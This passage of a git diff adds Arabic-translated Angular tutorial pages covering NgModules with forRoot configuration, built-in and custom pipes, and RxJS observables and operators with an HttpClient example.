+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { ConfigureableService, CUSTOM_CONFIG_TOKEN, Config } from './configurable.service'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ 
+ @NgModule({ 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
+  ], 
+  providers: [ 
+    ConfigureableService 
+  ] 
+ }) 
+ export class ConfigureableModule { 
+  static forRoot(config: Config): ModuleWithProviders { 
+    return { 
+        ngModule: ConfigureableModule, 
+        providers: [ 
+            ConfigureableService, 
+            { 
+                provide: CUSTOM_CONFIG_TOKEN, 
+                useValue: config 
+            } 
+        ] 
+    }; 
+  } 
+ } 
+` 
+
+ `// configureable.service.ts 
+ 
+ import { Inject, Injectable, InjectionToken } from '@angular/core'; 
+ 
+ export const CUSTOM_CONFIG_TOKEN: InjectionToken<string> = new InjectionToken('customConfig'); 
+ 
+ export interface Config { 
+  url: string 
+ } 
+ 
+ @Injectable() 
+ export class ConfigureableService { 
+  constructor( 
+    @Inject(CUSTOM_CONFIG_TOKEN) private config: Config 
+  ) 
+ } 
+` 
+
+لاحظ أن الكائن إرجاع أسلوب `forRoot(...)` متطابقة تقريبًا إلى تكوين `NgModule` .
+
+تقبل طريقة `forRoot(...)` كائن تكوين مخصص يمكن للمستخدم توفيره عند استيراد الوحدة النمطية.
+
+ `imports: [ 
+  ... 
+  ConfigureableModule.forRoot({ url: 'http://localhost' }), 
+  ... 
+ ] 
+` 
+
+ثم يتم توفير التكوين باستخدام `InjectionToken` مخصص يسمى `CUSTOM_CONFIG_TOKEN` وحقنها في `ConfigureableService` . يجب أن يتم استيراد `ConfigureableModule` مرة واحدة فقط باستخدام أسلوب `forRoot(...)` . يوفر هذا `CUSTOM_CONFIG_TOKEN` مع التهيئة المخصصة. يجب على كافة الوحدات النمطية الأخرى استيراد `ConfigureableModule` بدون أسلوب `forRoot(...)` .
+
+#### أمثلة NgModule من الزاوي
+
+يوفر Angular مجموعة متنوعة من الوحدات `@angular` للاستيراد من `@angular` . اثنين من الوحدات النمطية الأكثر شيوعاً هي `CommonModule` و `HttpClientModule` .
+
+`CommonModule` هو في الواقع مجموعة فرعية من `BrowserModule` . يوفر كلاهما الوصول إلى `*ngIf` و `*ngFor` التوجيهات الهيكلية. يتضمن `BrowserModule` خاصًا بالنظام الأساسي لمتصفح الويب. يحذف `CommonModule` هذا التثبيت. يجب استيراد `BrowserModule` إلى الجذر NgModule لأحد تطبيقات الويب. يوفر `CommonModule` `*ngIf` و `*ngFor` لتمييز الوحدات النمطية التي لا تتطلب تثبيت النظام الأساسي.
+
+`HttpClientModule` يوفر `HttpClient` الخدمة. تذكر أن الخدمات تذهب في مجموعة `@NgModule` البيانات الوصفية لـ `@NgModule` . هم غير قابل للتصريح. أثناء التحويل البرمجي ، يتم دمج كل NgModule في وحدة واحدة واحدة. لا يتم تغليف الخدمات على عكس التصريحات. كلها قابلة للحياة من خلال حاقن الجذر الموجود بجانب NgModule المدمجة.
+
+العودة إلى النقطة. مثل أي خدمة أخرى ، `HttpClient` إلى فئة من خلال `HttpClient` عن طريق حقن التبعية (DI). باستخدام DI ، حقن injector الجذر مثيل `HttpClient` في المنشئ. تتيح هذه الخدمة لمطوري البرامج إنشاء طلبات HTTP مع تنفيذ الخدمة.
+
+يتضمن تطبيق `HttpClient` في صفيف موفري `HttpClientModule` . طالما يقوم الجذر NgModule باستيراد `HttpClientModule` ، سيقوم `HttpClient` بإنشاء مثيل من داخل نطاق الجذر كما هو متوقع.
+
+#### استنتاج
+
+هي احتمالات أنك قد استفادت بالفعل من Angular's NgModules. الزاوي يجعل من السهل جدا رمي وحدة نمطية في صفيف واردات جذر NgModule. غالبًا ما يتم تصدير الأدوات المساعدة من البيانات الوصفية للوحدة المستوردة. ولهذا السبب أصبحت مرافقها فجأة متاحة عند الاستيراد داخل الجذر NgModule.
+
+يعمل NgModules عن قرب مع وحدات JavaScript البسيطة. أحدهما يوفر رمزًا مميزًا بينما يستخدمه الشخص للتكوين. ينتج عن عملهم الجماعي نظامًا قويًا وموحدًا فريدًا في إطار العمل الزاوي. يوفر طبقة جديدة من التنظيم فوق جميع الخطط الأخرى باستثناء التطبيق.
+
+نأمل أن تعزز هذه المقالة فهمك لـ NgModules. يمكن للزاوية الاستفادة من هذا النظام بشكل أكبر في بعض حالات الاستخدام الأكثر غرابة. تتناول هذه المقالة الأساسيات بحيث يمكنك معرفة المزيد باستخدام الروابط أدناه.
+
+## مصادر
+
+*   [فريق الزاوي. "NgModules". _جوجل_ . تم الوصول إليه في 6 يونيو 2018.](https://angular.io/guide/ngmodules)
+*   [كوريتسكي ، مكسيم. "تجنب الالتباس المشترك مع وحدات في الزاوي". _Angular In Depth_ ، في 10 أغسطس 2017. تم الوصول إليه في 6 يونيو 2018.](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide)
+*   [الزاوي في العمق](https://blog.angularindepth.com)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/pipes/index.md b/client/src/guide/arabic/angular/pipes/index.md
new file mode 100644
index 0000000000..51dcbbfff6
--- /dev/null
+++ b/client/src/guide/arabic/angular/pipes/index.md
@@ -0,0 +1,161 @@
+---
+title: Pipes
+localeTitle: أنابيب
+---
+# أنابيب
+
+#### التحفيز
+
+تحويلات بيانات الانتاج. وهي تضمن أن البيانات في صيغة مرغوبة عند تحميلها على شاشة المستخدم. عادةً ما تتحول البيانات خلف الكواليس. باستخدام الأنابيب ، يمكن أن تحدث بيانات التحويل في نموذج HTML. تحويل البيانات قالب القالب مباشرة.
+
+تبدو الأنابيب جميلة ومريحة. أنها تساعد في الحفاظ على الطبقة المكون الهزيل للتحولات الأساسية. لوضعها تقنياً ، تقوم الأنابيب بتغليف منطق تحويل البيانات.
+
+#### تحويل الانتاج
+
+كما هو مذكور في القسم السابق ، تقوم الأنابيب بتحويل البيانات المضمنة. وتربط صيغة الأنابيب برمجة النصوص. في العديد من البرامج النصية ، يتم إخراج إخراج جزء واحد من الأمر _كمخرج_ إلى الجزء التالي كمدخل. هذا الاتجاه نفسه يميز الأنبوب الزاوي.
+
+في Angular ، توجد طرق عديدة للتفاعل مع البيانات في نموذج HTML. يمكن استخدام المواسير في أي مكان يتم فيه تحليل البيانات في نموذج HTML. يمكن أن تحدث داخل المنطق microsyntax والداخلية interML المتغيرات الداخلية. تمثل أنابيب جميع التحولات بدون إضافة إلى فئة المكون.
+
+الأنابيب هي أيضا _قابلة للتسلسل_ . يمكنك دمج الأنابيب واحدة تلو الأخرى لإجراء تحويلات معقدة بشكل متزايد. كمحولات خاصة للبيانات ، فإن الأنابيب بالكاد تافهة.
+
+#### استخدم حالات
+
+يأتي الزاوي معبأ مسبقًا بمجموعة أساسية من الأنابيب. سيعمل العمل مع زوجين منهم على الحدس للتعامل مع الباقي. توفر القائمة التالية مثالين.
+
+*   AsyncPipe
+    
+*   DatePipe
+    
+
+هذان أداء المهام البسيطة. بساطتها هي مفيدة بشكل كبير.
+
+##### AsyncPipe
+
+تتطلب هذه الأقسام فهمًا أساسيًا للوعود أو الملاحظين لتقديرها تمامًا. يعمل AsyncPipe على أي من الاثنين. يقوم AsyncPipe باستخراج البيانات من Promises / Observables كمخرجات لكل ما يأتي بعد ذلك.
+
+في حالة Obervables ، يقوم AsyncPipe بالاشتراك تلقائيًا في مصدر البيانات. بغض النظر عن مصدر البيانات ، يشترك AsyncPipe في المصدر الذي يمكن ملاحظته. `async` هو الاسم syntactical AsyncPipe كما هو موضح أدناه.
+
+ `
+<ul *ngFor=“let potato of (potatoSack$ | async); let i=index”> 
+  <li>Potatoe {{i + 1}}: {{potato}}</li> 
+ </ul> 
+` 
+
+في المثال ، `potatoSack$` في انتظار تحميل البطاطس. وبمجرد وصول البطاطا ، إما بشكل متزامن أو غير متزامن ، فإن AsyncPipe يستقبلها كمصفوفة قابلة _للتكرار_ . ثم يملأ عنصر القائمة بالبطاطس.
+
+##### DatePipe
+
+تأخذ سلاسل تاريخ التنسيق جزءًا معقولًا من القرصنة باستخدام كائن `Date` جافا سكريبت. يوفر DatePipe طريقة فعالة لتنسيق التواريخ بافتراض أن الإدخال المحدد هو تنسيق زمني صالح.
+
+ `// example.component.ts 
+ 
+ @Component({ 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  timestamp:string = '2018-05-24T19:38:11.103Z'; 
+ } 
+` 
+
+ `
+<!-- example.component.html --> 
+ 
+ <div>Current Time: {{timestamp | date:'short'}}</div> 
+` 
+
+تنسيق `timestamp` أعلاه هو [ISO 8601 1](https://en.wikipedia.org/wiki/ISO_8601) - وليس الأسهل في القراءة. يحول DatePipe ( `date` ) تنسيق تاريخ ISO إلى `mm/dd/yy, hh:mm AM|PM` أكثر تقليدية `mm/dd/yy, hh:mm AM|PM` . هناك العديد من خيارات التنسيق الأخرى. كل هذه الخيارات موجودة في [الوثائق الرسمية](https://angular.io/api/common/DatePipe) .
+
+#### خلق أنابيب
+
+بينما يحتوي Angular فقط على عدد محدد من المواسير ، فإن `@Pipe` decorator يتيح للمطورين إنشاء الخاصة بهم. تبدأ العملية باستخدام `ng generate pipe [name-of-pipe]` ، لتحل محل `[name-of-pipe]` مع اسم ملف مفضل. هذا هو أمر [CLI Angular](https://cli.angular.io) . وتنتج ما يلي.
+
+ `import { Pipe, PipeTransform } from '@angular/core'; 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value: any, args?: any): any { 
+      return null; 
+  } 
+ } 
+` 
+
+يبسط قالب الأنبوب هذا إنشاء الأنبوب المخصص. يقول `@Pipe` Angular إن الطبقة عبارة عن أنبوب. قيمة `name: 'example'` ، في هذه الحالة ، على `example` ، هي القيمة التي يتعرف عليها Angular عند فحص قالب HTML لأنابيب مخصصة.
+
+إلى منطق الطبقة. يوفر تطبيق `PipeTransform` الإرشادات الخاصة بوظيفة `transform` . هذه الوظيفة لها معنى خاص في سياق الديكور `@Pipe` . يتلقى اثنين من المعلمات بشكل افتراضي.
+
+`value: any` الإخراج الذي يتلقى الأنبوب. فكر في `<div>{{ someValue | example }}</div>` . يتم تمرير قيمة someValue إلى `value: any` دالة `transform` `value: any` معلمة. هذه هي نفس وظيفة `transform` المحددة في فئة ExamplePipe.
+
+`args?: any` هو أي حجة أن الأنبوب يتلقى اختيارياً. فكر في `<div>{{ someValue | example:[some-argument] }}</div>` . يمكن استبدال `[some-argument]` بأي قيمة واحدة. يتم تمرير هذه القيمة إلى `args?: any` الدالة `transform` `args?: any` معلمة. وهذا هو ، وظيفة `transform` المحددة في فئة ExamplePipe.
+
+أيا كانت الدالة ترجع ( `return null;` ) يصبح الإخراج من عملية الأنابيب. ألق نظرة على المثال التالي لمشاهدة مثال كامل على ExamplePipe. بالاعتماد على المتغير الذي يستقبله الأنبوب ، فإنه إما يحد أو يخفض المدخل كإخراج جديد. وسيؤدي وجود وسيطة غير صالحة أو غير موجودة إلى إعادة توجيه نفس المدخلات كإخراج.
+
+ `// example.pipe.ts 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value:string, args?:string): any { 
+    switch(args || null) { 
+      case 'uppercase': 
+        return value.toUpperCase(); 
+      case 'lowercase': 
+        return value.toLowerCase(); 
+      default: 
+        return value; 
+    } 
+  } 
+ } 
+` 
+
+ `// app.component.ts 
+ 
+ @Component({ 
+  templateUrl: 'app.component.html' 
+ }) 
+ export class AppComponent { 
+  someValue:string = "HeLlO WoRlD!"; 
+ } 
+` 
+
+ `
+<!-- app.component.html --> 
+ 
+ <!-- Outputs “HeLlO WoRlD!” --> 
+ <h6>{{ someValue | example }}</h6> 
+ 
+ <!-- Outputs “HELLO WORLD!” --> 
+ <h6>{{ someValue | example:'uppercase' }}</h6> 
+ 
+ <!-- Outputs “hello world!” --> 
+ <h6>{{ someValue | example:'lowercase' }}</h6> 
+` 
+
+فهم المثال أعلاه يعني أنك تفهم الأنابيب الزاوي. لا يوجد سوى موضوع واحد آخر للمناقشة.
+
+#### أنابيب نقية وطبيعية
+
+كل شيء رأيته حتى الآن كان _أنبوبًا نقيًا_ . `pure: true` يتم تعيين `pure: true` افتراضيًا في البيانات الوصفية لـ `@Pipe` decorator. يشكل الاختلاف بين الاثنين اكتشاف تغيير Angular.
+
+يتم تحديث الأنابيب النقية تلقائيًا كلما تغيرت قيمة مدخلاتها المشتقة. سيتم إعادة تنفيذ الأنبوب لإنتاج مخرج جديد عند تغيير قابل للاكتشاف في قيمة الإدخال. يتم تحديد التغييرات القابلة للكشف من خلال حلقة الكشف عن تغير Angular.
+
+يتم تحديث أنابيب Impure تلقائيًا كلما تحدث دورة اكتشاف التغيير. يحدث اكتشاف التغير في Angular كثيرًا. يشير إلى ما إذا حدثت تغييرات في بيانات عضو فئة المكون. إذا كان الأمر كذلك ، فإن نموذج HTML يتم تحديثه بالبيانات المحدّثة. خلاف ذلك ، لن يحدث شيء.
+
+في حالة وجود أنبوب نجس ، سيتم تحديثه بغض النظر عما إذا كان هناك تغيير قابل للكشف أم لا. تحديث غير صحيح الأنبوب كلما حلقات الكشف عن تغيير. تستهلك أنابيب النجاة الكثير من الموارد وعادة ما تكون غير مستنيرة. ومع ذلك ، فإنها تعمل أكثر كفقاعة للهروب. إذا احتجت في أي وقت إلى أنبوب حساس للاكتشاف ، `@Pipe` بالتبديل `pure: false` في البيانات الوصفية لـ `@Pipe` decorator.
+
+#### استنتاج
+
+التي تغطي الأنابيب. تمتلك أنابيب الكثير من الإمكانيات خارج نطاق هذه المقالة. تساهم الأنابيب في عمليات تحويل بيانات موجزة إلى نموذج HTML الخاص بمكوناتك. وهي ممارسات جيدة في الحالات التي يجب أن تخضع فيها البيانات لتحولات صغيرة.
+
+## مصادر
+
+1.  [مجتمع ويكي. _ISO 8601_ . ويكيبيديا. تم الوصول في 27 مايو 2018](https://en.wikipedia.org/wiki/ISO_8601)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide/pipes)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [قائمة الأنابيب مسبقة التعبئة مع الزاوي](https://angular.io/api?query=pipe)
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/reactive-extensions/index.md b/client/src/guide/arabic/angular/reactive-extensions/index.md
new file mode 100644
index 0000000000..357b344259
--- /dev/null
+++ b/client/src/guide/arabic/angular/reactive-extensions/index.md
@@ -0,0 +1,337 @@
+---
+title: Reactive Extensions
+localeTitle: الامتدادات التفاعلية
+---
+# الامتدادات التفاعلية في الزاوي
+
+#### التحفيز
+
+الامتدادات التفاعلية لجافا سكريبت (RxJS) هي مكتبة لتدفقات البيانات التي _يمكن ملاحظتها_ . يتم تثبيت RxJS باستخدام تنفيذ Angular عند سطر الأوامر `ng new [name-of-application]` . هذا يستخدم واجهة سطر الأوامر Angular (CLI). RxJS تكمل كيفية تبسيط البيانات من خلال `Observable` . يسهل الكائن `Observable` تدفق البيانات _المتكرّرة_ .
+
+تيارات البيانات ليست حالة الاستخدام الأساسية. بعد كل شيء ، تدفقات البيانات دفق الحدث المتوازي. تنفث الأحداث حتى يعلم التطبيق عند وصول البيانات. في حين أن تدفقات الحدث تشكل جوهر ما تكمله RxJS ، فإن هذه المقالة تشير إلى أنها تدفقات البيانات أيضًا.
+
+تدفقات تنفيذ إما بشكل متزامن (فوري) أو بشكل غير متزامن (العمل الإضافي). يعالج RxJS كلتا الحالتين بسهولة عبر تدفق البيانات `Observable` . صارم asynchronicity على الرغم من. عند العمل مع الذاكرة ، تحدث البيانات _المتكرّرة على_ الفور بينما يستغرق جلب البيانات الخارجية بعض الوقت. يدعم Angular مكتبة RxJS بحيث يمكنه التعامل مع كل من حالات الاستخدام مع تدفقات البيانات.
+
+#### برمجة رد الفعل
+
+قبل الغوص ، من المهم فهم النموذج الذي يدعم مكتبة RxJS. كما ذكر ، فإنه يعمل من خلال الكائن `Observable` الذي يبسط البيانات التي تنبعث منها الأحداث.
+
+وظائف RxJS حول القاعدة `Observable` . تكمل المكتبة بأكملها ما يمكن أن تفعله. يتضمن RxJS حتى الكائنات الأخرى بما في ذلك `Subject` `Subscription` `Observer` . كل عبارة عن متغير مخصص خاص بها للقاعدة `Observable` .
+
+نشأت RxJS من نموذج البرمجة التفاعلية. قدم هذا النموذج نمط _يمكن ملاحظته_ . في ذلك يوجد هذه الفكرة الرئيسية: واحدة `Observable` تنبعث أثناء بكل ما فيها من `Observer` الصورة الحصول على إخطار. _يشترك_ `Observer` في `Observable` حتى يتلقوا الإخطار. هذا الإخطار يمكن أن يعني عدة أشياء.
+
+قد يشير إلى تغيير البيانات أو وصول البيانات كما هو مذكور بشكل عام في هذه المقالة. يمكن أن يشير إلى حدوث تغيير في جزء من التطبيق الذي يؤثر على `Observer` .
+
+يسعى هذا النمط _الملحوظ_ أيضًا إلى فصل المفاهيم. يجب أن يكون الجهاز `Observable` للوظيفة قادرًا على العمل دون أي `Observer` أو العكس والعكس صحيح. هذا يعني عادة أنها يمكن أن تكون قائمة بذاتها بدلا من العمل بشكل كامل دون بعضها البعض.
+
+إذا كنت فضوليًا ، يمكنك معرفة المزيد عن أسس البرمجة التفاعلية من خلال قراءة [مقالة ويكيبيديا](https://en.wikipedia.org/wiki/Reactive_programming) . يغطي هذا القسم ما هو ضروري لبقية المقال.
+
+#### المتغيرات الظاهرة
+
+أن أكرر بسرعة، و `Observable` الصورة يمكن _ملاحظتها._ هذا بحيث يوفر `Observable` ملاحظات إلى تبعياته بناءً على تدفق البيانات. في RxJS، و `Observable` هي وظيفة مصنعها الخاصة المستخدمة في إنشاء `Observable` الكائنات. مخططهم الأساسي هو على النحو التالي.
+
+ `import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next(data); 
+ }); 
+` 
+
+`.next` يمر البيانات في حين ينبعث الحدث إلى مراقبيه. يقوم برنامج `Observable` بإرسال البيانات من داخل `.create` callback باستخدام `.next` . وهو يقبل وسيطة واحدة تمثل البيانات التي تنبعث منها. لم يتم تنفيذ `Observable` في JavaScript حتى الآن. يوفر RxJS بديلاً من مكتبته.
+
+الخطوة التالية هي المراقبين. لنقول وظيفة أو يعترض على _مراقبة_ و `Observable` ، ويستخدم بناء الجملة التالي: `observable.subscribe(observer)` . طريقة أخرى للنظر في ذلك هو `producer.subscribe(consumer)` . _تنتج_ `.next` البيانات عن طريق استدعاء `.next` . يتم إعلام العملاء عند تلقي البيانات.
+
+ `import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next("Hello"); 
+  source.next("World!"); 
+ }); 
+ 
+ observable.subscribe((word) => console.log(word)); 
+ // console output 
+ /* 
+ Hello 
+ World! 
+ */ 
+` 
+
+اثنين من الدعاء من `.next` تحدث من داخل `Observable` الصورة `.create` رد (منتج البيانات). وينتج عن ذلك مخرجات منفصلة لوحدة التحكم من المراقب (مستهلك البيانات).
+
+تمثل الاستدعاءات من `.next` دفق متزامن من البيانات. تظهِر التدفقات البيانات على أنها تدفقات خطية في ترتيبها. إما حلها بشكل متزامن أو غير متزامن اعتمادًا على توفر البيانات.
+
+إذا كانت البيانات التي تشتمل على تدفق متاحة بسهولة ، فإنها تنفذ بشكل متزامن. خلاف ذلك ، يحل الدفق الوقت الإضافي بشكل غير متزامن. يكون ترتيب البيانات في كلتا الحالتين هو نفسه دائمًا حسب طلب `.next` داخل الملاحظة.
+
+يعمل `Observable` مثل طابور. استدعاء. `.next` على قطعة من البيانات يدفعها إلى الجزء الخلفي من قائمة الانتظار. انبثاق البيانات من الجبهة بمجرد حلها.
+
+تدفقات البيانات `Observable` عقد نداء كبير. فهي حتمية في ترتيبها وتنفيذها بشكل معقول حسب توفر البيانات. بالإضافة إلى ذلك ، يمكن لأي عدد من المراقبين _مراقبة_ مصدر البيانات `Observable` . هذا يعني أن البيانات يمكن أن تنتج مرة واحدة وتنبعث في أي مكان في عملية واحدة.
+
+وظائف رد الاتصال ليست هي الطريقة الوحيدة لاستهلاك البيانات. يمكن للمراقبين أن يتسلسلوا في بعضهم البعض كمنتجين ومستهلكين.
+
+ `const observableI = Observable.create((source) => { 
+  source.next("Hello World!"); 
+ }); 
+ 
+ const observableII = new Observable().subscribe((v) => console.log(v)); 
+ 
+ observableI.subscribe(observableII); 
+ // console output 
+ /* 
+ Hello World! 
+ */ 
+` 
+
+`.subscribe` هو على `Observable` الكائن. يمكنك أن تسميها `Observable` كمصدر (منتج) وأخرى يمكن ملاحظتها كحجة (مستهلك). يمكن أن تتدفق البيانات (تنبعث) من خلال أي عدد من الملاحظات.
+
+#### إضافات تفاعلية لجافا سكريبت (RxJS)
+
+تدفق البيانات أمر جيد ، ولكن ما هي النقطة إذا كانت الملاحظات لا تستطيع تحرير الدفق؟ هذا حيث تأتي مكتبة RxJS في اللعب. ويوفر المشغلين أداء مختلف الطفرات على دفق البيانات.
+
+يعزز الزاوي هذه المشغلين لتحويل البيانات الواردة. يمكن للمطورين تقليم أي بيانات غير ضرورية من دفق الوارد باستخدام عوامل RxJS. هذا يحفظ الذاكرة ويخفف من الحاجة إلى منطق تحول إضافي.
+
+تقدم RxJS انحرافات عن المعايير القياسية التي `Observable` مثل `Subject` `Subscription` `Observer` . فكر في هذه الانحرافات كنكهات خاصة من `Observable` التقليدية. فهي ليست ضرورية للاستفادة من المكتبة. ومع ذلك ، فإن المتغيرات مثل `Subject` لها حالات استخدام لا تصدق تتجاوز المستوى القياسي `Observable` .
+
+هذه المادة تلتزم `Observable` القياسية. جميع مشغلي تدفق البيانات من RxJS تعمل من خلال `Observable` .
+
+نشأ العديد من مشغلي RxJS الأساسيين من إضافات جافا سكريبت. يحتوي النموذج الأولي للعنصر على العديد من أوجه التشابه في مكتبة RxJS. هذه هي المعروفة باسم "إضافات". المصفوفات هي هياكل شبيهة بالتيار مشابهة لبيانات البخار التي يمكن ملاحظتها.
+
+لفهم مشغلي RxJS بشكل أفضل ، سوف تتناول هذه المقالة باختصار Array Extras من JavaScript. كل على وظائف مماثلة تقريبا للنظير RxJS لها. الاختلاف هو ببساطة تنسيق البيانات (صفيف قابل للتكرار مقابل تيار قابل للتكرار).
+
+#### صفيف إضافات
+
+تحتوي المصفوفات على الكثير من طرق الاستخدام. تسمى هذه الطرق Array Extras. كلهم موجودون على النموذج الأولي للكائن. تحتوي القائمة أدناه على خمسة إضافات مع متوازيات RxJS.
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+لكل مثال ، يتكرر الصفيف على نفسه لإنتاج نتيجة نهائية.
+
+`.reduce` يقلل مصفوفة إلى قيمة واحدة. `.filter` مصفوفة ذات تقييم منطقي. `.map` يحول صفيف عنصر تلو الآخر. `.every` بتقييم صحيح أو خطأ للمصفوفة بأكملها اعتماداً على شرط منطقي. `.forEach` يتكرر من خلال عناصر المصفوفة.
+
+الصفائف نموذج تيارات. يتم ترتيب بعضها البعض وتكرار واحد تلو الآخر. تقوم المراقبات بتبسيط عناصر البيانات إلى مراقبيها بطريقة مماثلة. هذا هو السبب في RxJS يتضمن نظير منطقي لكل صفيف إضافي في مكتبته. منح ، RxJS يوفر وسيلة أكثر من مشغليها الخاص من وجود إضافات صفيف.
+
+#### مشغلي RxJS الأساسي
+
+هناك حرفيا قيمة مكتبة كاملة من مشغلي RxJS. تركز هذه المقالة على تلك المدرجة أدناه والتي ألهمت إضافات Array.
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+لم يتغير شيء من القائمة السابقة. ينطبق فهمك لـ Array Extras على مشغلي RxJS. المصيد الوحيد لهذا هو وظيفة تسمى `.pipe` والتي سوف ترى استخداما كبيرا في الأمثلة القليلة القادمة. `.pipe` سلاسل RxJS المشغلين معا. النتائج من عامل التشغيل السابق في المرحلة التالية حتى المشغل النهائي. البيانات الناتجة ثم تنبعث من التيار الملاحظ.
+
+لاحظ المثال القياسي أدناه. استخدمه للمقارنة من أجل تأثير كل مشغل على تدفق البيانات المنبعثة.
+
+ `import { Observable, from } from 'rxjs'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ */ 
+` 
+
+`.from` تحويل مجموعة إلى `Observable` الكائن الذي يدعو `.next` على كل عنصر من عناصر المصفوفة. تقبل وظيفة `.pipe` أي عدد من الوسيطات `.pipe` صفيف. هذا هو المكان الذي يتم فيه تنفيذ كل مشغل. تنفذ المشغلين على بيانات مبسطة في ترتيب تنفيذها كوسيطة لـ `.pipe` .
+
+##### خفض
+
+`.reduce` تقليل يقلل تدفق البيانات إلى قيمة واحدة قبل `.reduce` .
+
+ `import { reduce } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  reduce((accum, val) => (accum + val)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 15 
+ */ 
+` 
+
+##### منقي
+
+`.filter` دفق ، مما يلغي قيم الدفق التي لا تفي `.filter` .
+
+ `import { filter } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  filter((val) => (val % 2 === 0)) // filters out odd numbers 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 4 
+ */ 
+` 
+
+##### خريطة
+
+أهداف `.map` وتحويل كل قيمة تيار الجارية.
+
+ `const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+    map((val) => (val + 1)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ */ 
+` 
+
+##### التحدي: كل و Foreach
+
+مع المعرفة `.every` و `.forEach` كما إضافات صفيف، في محاولة لتنفيذها كما مشغلي RxJS. لا تتردد في استخدام الأمثلة السابقة للحصول على إرشادات. قليلا من الممارسة يقطع شوطا طويلا بعد الكثير من القراءة!
+
+#### HTTP في الزاوي
+
+يجمع هذا القسم RxJS و Angular معًا لإظهار كيفية تفاعلهما. عادة ، توفر الخدمة التي تقدمها Angular `Observable` . `Observable` تدفق بيانات Observable باستخدام عوامل `.pipe` مع `.pipe` .
+
+يوفر Angular خدمة `HttpClient` عبر `@angular/common/http` . `HttpClientModule` هو أيضًا من `@angular/common/http` ويقوم بتصدير خدمة `HttpClient` . يجب على وحدة الجذر للتطبيق استيراد `HttpClientModule` . وهذا يجعل `HttpClientModule` _للحقن_ من أي مكان في التطبيق.
+
+تجعل خدمة `HttpClientModule` طلبات HTTP. هذه الطلبات غير متزامن. ما يجعلها مثيرة للاهتمام ل Angular هو كيفية التعامل مع الطلب. يحصل `Observable` على إرجاع مع كل طلب. يمكن RxJS أخذها بعيدا عن هناك.
+
+يستخدم المثال التالي واجهة برمجة تطبيقات عامة تم تصميمها بواسطة [Typicode](https://jsonplaceholder.typicode.com) . يوفر API صفيفًا مكونًا من 100 عنصر لكل طلب `GET` غير متزامن.
+
+ `// ./models/post.model.ts 
+ 
+ export interface Post { 
+  userId: number; 
+  id: number; 
+  title: string; 
+  body: string; 
+ } 
+` 
+
+ `// ./services/json.service.ts 
+ 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Injectable } from '@angular/core'; 
+ 
+ import { Observable, from } from 'rxjs'; 
+ import { switchMap, map, filter, reduce } from 'rxjs/operators'; 
+ 
+ import { Post } from '../models/post.model'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class JsonService { 
+  constructor(private http: HttpClient) { } 
+ 
+  getPostsByUserId(id: number): Observable<any> { 
+    const trim$ = (stream) => from(stream) 
+      .pipe( 
+        filter((post: Post) => +post.userId === +id), 
+        map((post: Post) => ({ title: post.title, body: post.body })), 
+        reduce((accum: Post[], post: Post) => accum.concat([post]), []) 
+      ); 
+ 
+    return this.http.get("https://jsonplaceholder.typicode.com/posts") 
+      .pipe( 
+        switchMap((value) => trim$(value)) 
+      ); 
+  } 
+ } 
+` 
+
+ ``// ./components/example/example.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ import { JsonService } from '../../services/json.service'; 
+ import { Post } from '../../models/post.model'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Request User Posts</h1> 
+  <span>User: </span><input #userInput> 
+  <button (click)="requestForPosts(userInput.value)">REQUEST</button> 
+  <hr> 
+  <ul> 
+    <div *ngIf="userPosts"> 
+      <div *ngFor="let post of userPosts"> 
+        <h3>{{ post.title }}</h3> 
+        <p>{{ post.body }}</p> 
+      </div> 
+    </div> 
+    <h3 *ngIf="!userPosts">No posts shown...</h3> 
+  </ul> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  userPosts: Post[]; 
+ 
+  constructor(private json: JsonService) { } 
+ 
+  requestForPosts(id: number): void { 
+    this.json.getPostsByUserId(id) 
+      .subscribe((posts: Post[]) => { this.userPosts = posts.length > 0 ? posts : null; }); 
+  } 
+ } 
+`` 
+
